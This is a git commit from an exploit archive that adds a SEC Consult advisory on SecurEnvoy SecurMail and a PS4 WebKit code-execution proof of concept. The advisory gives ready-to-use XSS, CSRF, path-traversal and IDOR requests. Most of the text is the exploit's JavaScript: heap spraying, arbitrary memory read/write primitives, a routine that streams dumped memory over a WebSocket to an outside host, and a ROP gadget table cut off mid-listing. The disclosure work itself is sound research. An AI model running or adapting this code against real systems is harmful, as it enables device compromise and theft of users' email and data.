DB: 2018-03-14
6 changes to exploits/shellcodes Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC) MicroTik RouterOS 3.13 - SNMP write (Set request) MikroTik RouterOS 3.13 - SNMP write (Set request) Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities Tuleap 9.17.99.189 - Blind SQL Injection
This commit is contained in:
parent
3f6d16d5c3
commit
17d2f47aad
7 changed files with 1766 additions and 3 deletions
281
exploits/aspx/webapps/44285.txt
Normal file
281
exploits/aspx/webapps/44285.txt
Normal file
|
@ -0,0 +1,281 @@
|
||||||
|
SEC Consult Vulnerability Lab Security Advisory < 20180312-0 >
|
||||||
|
=======================================================================
|
||||||
|
title: Multiple Critical Vulnerabilities
|
||||||
|
product: SecurEnvoy SecurMail
|
||||||
|
vulnerable version: 9.1.501
|
||||||
|
fixed version: 9.2.501 or hotfix patch "1_012018"
|
||||||
|
CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704,
|
||||||
|
CVE-2018-7705, CVE-2018-7706, CVE-2018-7707
|
||||||
|
impact: Critical
|
||||||
|
homepage: https://www.securenvoy.com/
|
||||||
|
found: 2017-11
|
||||||
|
by: W. Ettlinger (Office Vienna)
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
|
||||||
|
An integrated part of SEC Consult
|
||||||
|
Europe | Asia | North America
|
||||||
|
|
||||||
|
https://www.sec-consult.com
|
||||||
|
|
||||||
|
=======================================================================
|
||||||
|
|
||||||
|
Vendor description:
|
||||||
|
-------------------
|
||||||
|
"Sending and receiving encrypted emails is not an easy or simple experience.
|
||||||
|
Businesses rely on email with an increasing amount of sensitive data sent across
|
||||||
|
their networks. A revolutionary approach that doesn't suffer from the overheads
|
||||||
|
of deployment and encryption management; just rock-solid security to give you
|
||||||
|
100% confidence in your business communications."
|
||||||
|
|
||||||
|
URL: https://www.securenvoy.com/products/securmail/key-features.shtm
|
||||||
|
|
||||||
|
|
||||||
|
Business recommendation:
|
||||||
|
------------------------
|
||||||
|
During a brief crash test of the SecurEnvoy SecurMail application several severe
|
||||||
|
vulnerabilities have been identified that break the core security promises of
|
||||||
|
the product.
|
||||||
|
|
||||||
|
These vulnerabilities open the possibility for several different attack
|
||||||
|
scenarios that allow an attacker to read other users' encrypted e-mails and
|
||||||
|
overwrite or delete e-mails stored in other users' inboxes.
|
||||||
|
|
||||||
|
As we have identified several critical vulnerabilities within a very short time
|
||||||
|
frame we expect numerous other vulnerabilities to be present.
|
||||||
|
|
||||||
|
As other SecureEnvoy products (besides the analyzed SecurMail) appear
|
||||||
|
to be highly integrated (all products are installed with a single setup
|
||||||
|
file) we suspect other components to also suffer from severe security deficits.
|
||||||
|
|
||||||
|
We recommend not to use SecurEnvoy products (especially SecurMail) in a
|
||||||
|
production environment until:
|
||||||
|
* a comprehensive security audit has been performed and
|
||||||
|
* state of the art security mechanisms have been adopted.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability overview/description:
|
||||||
|
-----------------------------------
|
||||||
|
1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707)
|
||||||
|
SEC Consult did not find any functionality that encodes user input when creating
|
||||||
|
HTML pages. Therefore persistent and reflected cross site scripting attacks are
|
||||||
|
possible throughout the application.
|
||||||
|
|
||||||
|
Some pages fail to properly decode URL encoded parameters. Because of this, cross
|
||||||
|
site scripting cannot be exploited on these pages in most browsers.
|
||||||
|
|
||||||
|
|
||||||
|
2) Path Traversal (CVE-2018-7705, CVE-2018-7706)
|
||||||
|
SEC Consult did not find any path traversal checks throughout the application.
|
||||||
|
Since the application uses encrypted files as the primary method of data
|
||||||
|
storage, this vulnerability can be exploited at several points.
|
||||||
|
|
||||||
|
Using this vulnerability, a legitimate recipient can read mails sent to other
|
||||||
|
recipients in plain text!
|
||||||
|
|
||||||
|
|
||||||
|
3) Insecure Direct Object Reference (CVE-2018-7704)
|
||||||
|
Authorization checks are only partially implemented. This allows a legitimate
|
||||||
|
recipient to read mails sent to other users in plain text.
|
||||||
|
|
||||||
|
|
||||||
|
4) Missing Authentication and Authorization (CVE-2018-7702)
|
||||||
|
In order to send encrypted e-mails a client does not need to authenticate on the
|
||||||
|
SecurEnvoy server. Therefore anyone with network access to the server can
|
||||||
|
arbitrarily send e-mails that appear to come from an arbitrary sender address.
|
||||||
|
|
||||||
|
Moreover, an attacker with network access to the server can re-send previous
|
||||||
|
communication to arbitrary recipients. This allows him/her to extract all
|
||||||
|
e-mails stored on the server. An attacker could also modify arbitrary messages
|
||||||
|
stored on the server.
|
||||||
|
|
||||||
|
|
||||||
|
5) Cross Site Request Forgery (CVE-2018-7701)
|
||||||
|
SEC Consult did not find any protection against cross site request forgery. An
|
||||||
|
attacker could use this vulnerability to delete a victim's e-mail or to
|
||||||
|
impersonate the victim and reply to his/her e-mails.
|
||||||
|
|
||||||
|
|
||||||
|
Since these vulnerabilities were found during a very short time frame, SEC
|
||||||
|
Consult believes that the product may contain a large number of other security
|
||||||
|
vulnerabilities. As already several core security promises have been broken
|
||||||
|
during this short crash test, no further tests were conducted.
|
||||||
|
|
||||||
|
|
||||||
|
Proof of concept:
|
||||||
|
-----------------
|
||||||
|
1) Cross Site Scripting
|
||||||
|
a) The following HTML fragments demonstrates reflected cross site scripting
|
||||||
|
(CVE-2018-7703):
|
||||||
|
|
||||||
|
--- snip ---
|
||||||
|
<form action="http://<host>/secmail/getmessage.exe" method="POST"
|
||||||
|
enctype="text/plain">
|
||||||
|
<input type="hidden" name="mailboxid"
|
||||||
|
|
||||||
|
value=""><script>alert('xss')</script>" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
--- snip ---
|
||||||
|
|
||||||
|
b) E-mails that are sent using the HTML format can contain any <script> tags
|
||||||
|
(CVE-2018-7707). These are executed once the victim opens the message in the
|
||||||
|
web interface.
|
||||||
|
|
||||||
|
|
||||||
|
2) Path Traversal
|
||||||
|
a) The following request demonstrates how the message body of the e-mail with id
|
||||||
|
107 can be overwritten while uploading the body for message 103. The message
|
||||||
|
IDs can easily be guessed since they are assigned sequentially
|
||||||
|
(CVE-2018-7705).
|
||||||
|
|
||||||
|
--- snip---
|
||||||
|
POST /secupload2/upload.aspx HTTP/1.1
|
||||||
|
Host: <host>
|
||||||
|
Content-Type: multipart/form-data; boundary=--------822119548
|
||||||
|
Content-Length: 309
|
||||||
|
|
||||||
|
----------822119548
|
||||||
|
Content-Disposition: form-data; name="FileName"
|
||||||
|
|
||||||
|
x
|
||||||
|
----------822119548
|
||||||
|
Content-Disposition: form-data; name="MessageID"
|
||||||
|
|
||||||
|
103
|
||||||
|
----------822119548
|
||||||
|
Content-Disposition: form-data; filename="../107/BODY"
|
||||||
|
Content-Type: application/octet-stream
|
||||||
|
|
||||||
|
some message
|
||||||
|
----------822119548--
|
||||||
|
--- snip ---
|
||||||
|
|
||||||
|
b) The following link demonstrates how the message body of the e-mail with id
|
||||||
|
107 can be retrieved while only having access to the mail with id 103
|
||||||
|
(CVE-2018-7706):
|
||||||
|
|
||||||
|
http://<host>/secmail/getmessage.exe?mailboxid=<mailbox-id>&action=attachment&option1=103&option2=../107/BODY
|
||||||
|
|
||||||
|
|
||||||
|
3) Insecure Direct Object Reference (CVE-2018-7704)
|
||||||
|
The functionality that allows a recipient to read an e-mail checks whether the
|
||||||
|
user is actually authorized to read the requested e-mail. However, by using the
|
||||||
|
functionality that allows a user to reply to an e-mail, an attacker can
|
||||||
|
manipulate the id that is sent as a URL parameter to read arbitrary e-mails.
|
||||||
|
The following link demonstrates the retrieval of the message with id 103. The
|
||||||
|
message id can easily be guessed since they are assigned sequentially.
|
||||||
|
|
||||||
|
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=reply&option1=103
|
||||||
|
|
||||||
|
|
||||||
|
4) Missing Authorization (CVE-2018-7702)
|
||||||
|
In order to send an e-mail to a recipient the following requests have to be
|
||||||
|
made:
|
||||||
|
1. Execute a GETINFO request in order to request a message id.
|
||||||
|
2. Upload the message body and the attachments.
|
||||||
|
3. Execute a STORE request to send the message to the recipients.
|
||||||
|
|
||||||
|
Neither of these requests require any authentication. Therefore, also no
|
||||||
|
authorization is made. Attack scenarios include:
|
||||||
|
a) Extract any message by executing step #3 while specifying an own e-mail
|
||||||
|
address as recipient and the message id to extract.
|
||||||
|
b) Overwrite attachments or message bodies of previously sent e-mails by
|
||||||
|
executing step #2 to upload arbitrary content.
|
||||||
|
|
||||||
|
|
||||||
|
5) Cross-Site Request Forgery
|
||||||
|
SEC Consult did not find any CSRF protection within the web interface. Moreover,
|
||||||
|
CSRF attacks are possible against the API used to send e-mails. Since this API
|
||||||
|
does not require authentication, being authenticated on the server is not a
|
||||||
|
precondition for a successful attack. Instead, the attack exploits the victim's
|
||||||
|
network location.
|
||||||
|
|
||||||
|
a) The following link demonstrates how e-mails can be deleted using a CSRF
|
||||||
|
attack (CVE-2018-7701):
|
||||||
|
|
||||||
|
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=delete&option1=103
|
||||||
|
|
||||||
|
b) The following HTML fragment demonstrates how the API can be exploited to send
|
||||||
|
an e-mail with an arbitrary message id to an arbitrary recipient (also
|
||||||
|
CVE-2018-7702):
|
||||||
|
|
||||||
|
<form action="http://<host>/secserver/securectrl.exe" method="POST"
|
||||||
|
enctype="text/plain">
|
||||||
|
<input type="hidden"
|
||||||
|
name="FLAG:STORE VERSION:1.0 RECIPIENT_MOBILE_LIST:SMTP" value="bob@local:MOBILE=00000 SENDER:me@local RECORDED_DELIVERY: SUBJECTB64:AAAA MESSAGEID:108 SENDERMOBILE:000000 REPLY:False" />
|
||||||
|
<input type="submit" value="Submit request" />
|
||||||
|
</form>
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerable / tested versions:
|
||||||
|
-----------------------------
|
||||||
|
The version 9.1.501 was found to be vulnerable. This was the latest version at
|
||||||
|
the time of discovery.
|
||||||
|
|
||||||
|
|
||||||
|
Vendor contact timeline:
|
||||||
|
------------------------
|
||||||
|
2017-11-20: Contacting vendor through info <at> securenvoy <dot> com
|
||||||
|
2017-11-21: SecureEnvoy requests to upload advisory through their SecurMail
|
||||||
|
instance
|
||||||
|
2017-11-22: Uploading advisory to SecurEnvoy's SecurMail instance
|
||||||
|
2017-12-13: SecurEnvoy: engineering team is investigating issues;
|
||||||
|
product will be re-engineered; asked for deadline extension until
|
||||||
|
revised software is available
|
||||||
|
2017-11-15: Postponing advisory release to 2017-02-21
|
||||||
|
2018-01-22: SecurEnvoy sends release notes document for the security patch
|
||||||
|
"1_012018"; Fixed vulnerabilities: Path traversal, Insecure Direct
|
||||||
|
Object Reference, XSS, CSRF; SecurEnvoy instructs customers to
|
||||||
|
configure requiring client certificates for the "secserver" endpoint
|
||||||
|
2018-02-22: Asking whether the security patch has been released
|
||||||
|
2018-03-01: Asking for status update
|
||||||
|
2018-03-01: SecurEnvoy: patch has been released
|
||||||
|
2018-03-12: Releasing security advisory
|
||||||
|
|
||||||
|
|
||||||
|
Solution:
|
||||||
|
---------
|
||||||
|
Customers of SecurEnvoy should immediately apply the security patch "1_012018"
|
||||||
|
or update to version 9.2.501 of the software.
|
||||||
|
|
||||||
|
|
||||||
|
Workaround:
|
||||||
|
-----------
|
||||||
|
None
|
||||||
|
|
||||||
|
|
||||||
|
Advisory URL:
|
||||||
|
-------------
|
||||||
|
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
|
||||||
|
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
SEC Consult Vulnerability Lab
|
||||||
|
|
||||||
|
SEC Consult
|
||||||
|
Europe | Asia | North America
|
||||||
|
|
||||||
|
About SEC Consult Vulnerability Lab
|
||||||
|
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
|
||||||
|
ensures the continued knowledge gain of SEC Consult in the field of network
|
||||||
|
and application security to stay ahead of the attacker. The SEC Consult
|
||||||
|
Vulnerability Lab supports high-quality penetration testing and the evaluation
|
||||||
|
of new offensive and defensive technologies for our customers. Hence our
|
||||||
|
customers obtain the most current information about vulnerabilities and valid
|
||||||
|
recommendation about the risk profile of new technologies.
|
||||||
|
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
Interested to work with the experts of SEC Consult?
|
||||||
|
Send us your application https://www.sec-consult.com/en/career/index.html
|
||||||
|
|
||||||
|
Interested in improving your cyber security with the experts of SEC Consult?
|
||||||
|
Contact our local offices https://www.sec-consult.com/en/contact/index.html
|
||||||
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||||
|
|
||||||
|
Mail: research at sec-consult dot com
|
||||||
|
Web: https://www.sec-consult.com
|
||||||
|
Blog: http://blog.sec-consult.com
|
||||||
|
Twitter: https://twitter.com/sec_consult
|
||||||
|
|
||||||
|
EOF W. Ettlinger / @2018
|
853
exploits/hardware/local/44282.txt
Normal file
853
exploits/hardware/local/44282.txt
Normal file
|
@ -0,0 +1,853 @@
|
||||||
|
<--- index.html --->
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
window.didload = 0;
|
||||||
|
window.didpost = 0;
|
||||||
|
window.onload = function() {
|
||||||
|
window.didload = 1;
|
||||||
|
if (window.didpost == 1)
|
||||||
|
window.stage2();
|
||||||
|
}
|
||||||
|
window.postExpl = function() {
|
||||||
|
window.didpost = 1;
|
||||||
|
if (window.didload == 1)
|
||||||
|
window.stage2();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<script src="./expl.js"></script>
|
||||||
|
<script src="./rop.js"></script>
|
||||||
|
<pre id="console"></pre>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
<--- /index.html --->
|
||||||
|
|
||||||
|
|
||||||
|
<--- expl.js --->
|
||||||
|
function makeid() {
|
||||||
|
var text = "";
|
||||||
|
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||||
|
|
||||||
|
for (var i = 0; i < 8; i++)
|
||||||
|
text += possible.charAt(Math.floor(Math.random() * possible.length));
|
||||||
|
|
||||||
|
return text;
|
||||||
|
};
|
||||||
|
|
||||||
|
var instancespr = [];
|
||||||
|
|
||||||
|
for (var i = 0; i < 4096; i++) {
|
||||||
|
instancespr[i] = new Uint32Array(1);
|
||||||
|
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
|
||||||
|
}
|
||||||
|
|
||||||
|
var _dview;
|
||||||
|
|
||||||
|
function u2d(low, hi) {
|
||||||
|
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
|
||||||
|
_dview.setUint32(0, hi);
|
||||||
|
_dview.setUint32(4, low);
|
||||||
|
return _dview.getFloat64(0);
|
||||||
|
}
|
||||||
|
var dgc = function() {
|
||||||
|
for (var i = 0; i < 0x100; i++) {
|
||||||
|
new ArrayBuffer(0x100000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function int64(low, hi) {
|
||||||
|
this.low = (low >>> 0);
|
||||||
|
this.hi = (hi >>> 0);
|
||||||
|
|
||||||
|
this.add32inplace = function(val) {
|
||||||
|
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||||
|
var new_hi = (this.hi >>> 0);
|
||||||
|
|
||||||
|
if (new_lo < this.low) {
|
||||||
|
new_hi++;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.hi = new_hi;
|
||||||
|
this.low = new_lo;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.add32 = function(val) {
|
||||||
|
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||||
|
var new_hi = (this.hi >>> 0);
|
||||||
|
|
||||||
|
if (new_lo < this.low) {
|
||||||
|
new_hi++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return new int64(new_lo, new_hi);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.sub32 = function(val) {
|
||||||
|
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||||
|
var new_hi = (this.hi >>> 0);
|
||||||
|
|
||||||
|
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||||
|
new_hi--;
|
||||||
|
}
|
||||||
|
|
||||||
|
return new int64(new_lo, new_hi);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.sub32inplace = function(val) {
|
||||||
|
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||||
|
var new_hi = (this.hi >>> 0);
|
||||||
|
|
||||||
|
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||||
|
new_hi--;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.hi = new_hi;
|
||||||
|
this.low = new_lo;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.and32 = function(val) {
|
||||||
|
var new_lo = this.low & val;
|
||||||
|
var new_hi = this.hi;
|
||||||
|
return new int64(new_lo, new_hi);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.and64 = function(vallo, valhi) {
|
||||||
|
var new_lo = this.low & vallo;
|
||||||
|
var new_hi = this.hi & valhi;
|
||||||
|
return new int64(new_lo, new_hi);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.toString = function(val) {
|
||||||
|
val = 16;
|
||||||
|
var lo_str = (this.low >>> 0).toString(val);
|
||||||
|
var hi_str = (this.hi >>> 0).toString(val);
|
||||||
|
|
||||||
|
if (this.hi == 0)
|
||||||
|
return lo_str;
|
||||||
|
else
|
||||||
|
lo_str = zeroFill(lo_str, 8)
|
||||||
|
|
||||||
|
return hi_str + lo_str;
|
||||||
|
}
|
||||||
|
|
||||||
|
this.toPacked = function() {
|
||||||
|
return {
|
||||||
|
hi: this.hi,
|
||||||
|
low: this.low
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
this.setPacked = function(pck) {
|
||||||
|
this.hi = pck.hi;
|
||||||
|
this.low = pck.low;
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
return this;
|
||||||
|
}
|
||||||
|
|
||||||
|
function zeroFill(number, width) {
|
||||||
|
width -= number.toString().length;
|
||||||
|
|
||||||
|
if (width > 0) {
|
||||||
|
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
|
||||||
|
}
|
||||||
|
|
||||||
|
return number + ""; // always return a string
|
||||||
|
}
|
||||||
|
|
||||||
|
var nogc = [];
|
||||||
|
|
||||||
|
var fail = function() {
|
||||||
|
alert.apply(null, arguments);
|
||||||
|
throw "fail";
|
||||||
|
}
|
||||||
|
|
||||||
|
// Target JSObject for overlap
|
||||||
|
var tgt = {
|
||||||
|
a: 0,
|
||||||
|
b: 0,
|
||||||
|
c: 0,
|
||||||
|
d: 0
|
||||||
|
}
|
||||||
|
|
||||||
|
var y = new ImageData(1, 0x4000)
|
||||||
|
postMessage("", "*", [y.data.buffer]);
|
||||||
|
|
||||||
|
// Spray properties to ensure object is fastmalloc()'d and can be found easily later
|
||||||
|
var props = {};
|
||||||
|
|
||||||
|
for (var i = 0;
|
||||||
|
(i < (0x4000 / 2));) {
|
||||||
|
props[i++] = {
|
||||||
|
value: 0x42424242
|
||||||
|
};
|
||||||
|
props[i++] = {
|
||||||
|
value: tgt
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
var foundLeak = undefined;
|
||||||
|
var foundIndex = 0;
|
||||||
|
var maxCount = 0x100;
|
||||||
|
|
||||||
|
while (foundLeak == undefined && maxCount > 0) {
|
||||||
|
maxCount--;
|
||||||
|
|
||||||
|
history.pushState(y, "");
|
||||||
|
|
||||||
|
Object.defineProperties({}, props);
|
||||||
|
|
||||||
|
var leak = new Uint32Array(history.state.data.buffer);
|
||||||
|
|
||||||
|
for (var i = 0; i < leak.length - 6; i++) {
|
||||||
|
if (
|
||||||
|
leak[i] == 0x42424242 &&
|
||||||
|
leak[i + 0x1] == 0xFFFF0000 &&
|
||||||
|
leak[i + 0x2] == 0x00000000 &&
|
||||||
|
leak[i + 0x3] == 0x00000000 &&
|
||||||
|
leak[i + 0x4] == 0x00000000 &&
|
||||||
|
leak[i + 0x5] == 0x00000000 &&
|
||||||
|
leak[i + 0x6] == 0x0000000E &&
|
||||||
|
leak[i + 0x7] == 0x00000000 &&
|
||||||
|
leak[i + 0xA] == 0x00000000 &&
|
||||||
|
leak[i + 0xB] == 0x00000000 &&
|
||||||
|
leak[i + 0xC] == 0x00000000 &&
|
||||||
|
leak[i + 0xD] == 0x00000000 &&
|
||||||
|
leak[i + 0xE] == 0x0000000E &&
|
||||||
|
leak[i + 0xF] == 0x00000000
|
||||||
|
) {
|
||||||
|
foundIndex = i;
|
||||||
|
foundLeak = leak;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!foundLeak) {
|
||||||
|
failed = true
|
||||||
|
fail("Failed to find leak!")
|
||||||
|
}
|
||||||
|
|
||||||
|
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
|
||||||
|
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
|
||||||
|
|
||||||
|
Array.prototype.__defineGetter__(100, () => 1);
|
||||||
|
|
||||||
|
var f = document.body.appendChild(document.createElement('iframe'));
|
||||||
|
var a = new f.contentWindow.Array(13.37, 13.37);
|
||||||
|
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
|
||||||
|
|
||||||
|
var master = new Uint32Array(0x1000);
|
||||||
|
var slave = new Uint32Array(0x1000);
|
||||||
|
var leakval_u32 = new Uint32Array(0x1000);
|
||||||
|
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
|
||||||
|
|
||||||
|
// Create fake ArrayBufferView
|
||||||
|
tgt.a = u2d(2048, 0x1602300);
|
||||||
|
tgt.b = 0;
|
||||||
|
tgt.c = leakval_helper;
|
||||||
|
tgt.d = 0x1337;
|
||||||
|
|
||||||
|
var c = Array.prototype.concat.call(a, b);
|
||||||
|
document.body.removeChild(f);
|
||||||
|
var hax = c[0];
|
||||||
|
c[0] = 0;
|
||||||
|
|
||||||
|
tgt.c = c;
|
||||||
|
|
||||||
|
hax[2] = 0;
|
||||||
|
hax[3] = 0;
|
||||||
|
|
||||||
|
Object.defineProperty(Array.prototype, 100, {
|
||||||
|
get: undefined
|
||||||
|
});
|
||||||
|
|
||||||
|
tgt.c = leakval_helper;
|
||||||
|
var butterfly = new int64(hax[2], hax[3]);
|
||||||
|
butterfly.low += 0x10;
|
||||||
|
|
||||||
|
tgt.c = leakval_u32;
|
||||||
|
var lkv_u32_old = new int64(hax[4], hax[5]);
|
||||||
|
hax[4] = butterfly.low;
|
||||||
|
hax[5] = butterfly.hi;
|
||||||
|
// Setup read/write primitive
|
||||||
|
|
||||||
|
tgt.c = master;
|
||||||
|
hax[4] = leakval_u32[0];
|
||||||
|
hax[5] = leakval_u32[1];
|
||||||
|
|
||||||
|
var addr_to_slavebuf = new int64(master[4], master[5]);
|
||||||
|
tgt.c = leakval_u32;
|
||||||
|
hax[4] = lkv_u32_old.low;
|
||||||
|
hax[5] = lkv_u32_old.hi;
|
||||||
|
|
||||||
|
tgt.c = 0;
|
||||||
|
hax = 0;
|
||||||
|
|
||||||
|
var prim = {
|
||||||
|
write8: function(addr, val) {
|
||||||
|
master[4] = addr.low;
|
||||||
|
master[5] = addr.hi;
|
||||||
|
|
||||||
|
if (val instanceof int64) {
|
||||||
|
slave[0] = val.low;
|
||||||
|
slave[1] = val.hi;
|
||||||
|
} else {
|
||||||
|
slave[0] = val;
|
||||||
|
slave[1] = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
master[4] = addr_to_slavebuf.low;
|
||||||
|
master[5] = addr_to_slavebuf.hi;
|
||||||
|
},
|
||||||
|
|
||||||
|
write4: function(addr, val) {
|
||||||
|
master[4] = addr.low;
|
||||||
|
master[5] = addr.hi;
|
||||||
|
|
||||||
|
slave[0] = val;
|
||||||
|
|
||||||
|
master[4] = addr_to_slavebuf.low;
|
||||||
|
master[5] = addr_to_slavebuf.hi;
|
||||||
|
},
|
||||||
|
|
||||||
|
read8: function(addr) {
|
||||||
|
master[4] = addr.low;
|
||||||
|
master[5] = addr.hi;
|
||||||
|
|
||||||
|
var rtv = new int64(slave[0], slave[1]);
|
||||||
|
|
||||||
|
master[4] = addr_to_slavebuf.low;
|
||||||
|
master[5] = addr_to_slavebuf.hi;
|
||||||
|
|
||||||
|
return rtv;
|
||||||
|
},
|
||||||
|
|
||||||
|
read4: function(addr) {
|
||||||
|
master[4] = addr.low;
|
||||||
|
master[5] = addr.hi;
|
||||||
|
|
||||||
|
var rtv = slave[0];
|
||||||
|
|
||||||
|
master[4] = addr_to_slavebuf.low;
|
||||||
|
master[5] = addr_to_slavebuf.hi;
|
||||||
|
|
||||||
|
return rtv;
|
||||||
|
},
|
||||||
|
|
||||||
|
leakval: function(jsval) {
|
||||||
|
leakval_helper[0] = jsval;
|
||||||
|
var rtv = this.read8(butterfly);
|
||||||
|
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
|
||||||
|
|
||||||
|
return rtv;
|
||||||
|
},
|
||||||
|
|
||||||
|
createval: function(jsval) {
|
||||||
|
this.write8(butterfly, jsval);
|
||||||
|
var rt = leakval_helper[0];
|
||||||
|
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
|
||||||
|
return rt;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
window.primitives = prim;
|
||||||
|
if (window.postExpl) window.postExpl();
|
||||||
|
<--- /expl.js --->
|
||||||
|
|
||||||
|
|
||||||
|
<--- rop.js -->
|
||||||
|
var p;
|
||||||
|
var xhr_sync_log = function(str) {
|
||||||
|
var req = new XMLHttpRequest();
|
||||||
|
req.open('GET', "log?" + str, false);
|
||||||
|
try {
|
||||||
|
req.send();
|
||||||
|
} catch(e){}
|
||||||
|
}
|
||||||
|
var findModuleBaseXHR = function(addr)
|
||||||
|
{
|
||||||
|
var addr_ = addr.add32(0); // copy
|
||||||
|
addr_.low &= 0xFFFFF000;
|
||||||
|
xhr_sync_log("START: " + addr_);
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
var vr = p.read4(addr_.add32(0x110-4));
|
||||||
|
xhr_sync_log("step" + addr_);
|
||||||
|
addr_.sub32inplace(0x1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var log = function(x) {
|
||||||
|
document.getElementById("console").innerText += x + "\n";
|
||||||
|
}
|
||||||
|
var print = function(string) { // like log but html
|
||||||
|
document.getElementById("console").innerHTML += string + "\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
var dumpModuleXHR = function(moduleBase) {
|
||||||
|
var chunk = new ArrayBuffer(0x1000);
|
||||||
|
var chunk32 = new Uint32Array(chunk);
|
||||||
|
var chunk8 = new Uint8Array(chunk);
|
||||||
|
connection = new WebSocket('ws://10.17.0.1:8080');
|
||||||
|
connection.binaryType = "arraybuffer";
|
||||||
|
var helo = new Uint32Array(1);
|
||||||
|
helo[0] = 0x41414141;
|
||||||
|
|
||||||
|
var moduleBase_ = moduleBase.add32(0);
|
||||||
|
connection.onmessage = function() {
|
||||||
|
try {
|
||||||
|
for (var i = 0; i < chunk32.length; i++)
|
||||||
|
{
|
||||||
|
var val = p.read4(moduleBase_);
|
||||||
|
chunk32[i] = val;
|
||||||
|
moduleBase_.add32inplace(4);
|
||||||
|
}
|
||||||
|
connection.send(chunk8);
|
||||||
|
} catch (e) {
|
||||||
|
print(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var get_jmptgt = function(addr)
|
||||||
|
{
|
||||||
|
var z=p.read4(addr) & 0xFFFF;
|
||||||
|
var y=p.read4(addr.add32(2));
|
||||||
|
if (z != 0x25ff) return 0;
|
||||||
|
|
||||||
|
return addr.add32(y+6);
|
||||||
|
|
||||||
|
}
|
||||||
|
var gadgetmap_wk = {
|
||||||
|
"ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
|
||||||
|
"pop rsi": [0x5E, 0xC3],
|
||||||
|
"pop rdi": [0x5F, 0xC3],
|
||||||
|
"pop rsp": [0x5c, 0xC3],
|
||||||
|
"pop rax": [0x58, 0xC3],
|
||||||
|
"pop rdx": [0x5a, 0xC3],
|
||||||
|
"pop rcx": [0x59, 0xC3],
|
||||||
|
"pop rsp": [0x5c, 0xC3],
|
||||||
|
"pop rbp": [0x5d, 0xC3],
|
||||||
|
"pop r8": [0x47, 0x58, 0xC3],
|
||||||
|
"pop r9": [0x47, 0x59, 0xC3],
|
||||||
|
"infloop": [0xEB, 0xFE, 0xc3],
|
||||||
|
"ret": [0xC3],
|
||||||
|
"mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
|
||||||
|
"mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
|
||||||
|
"mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
|
||||||
|
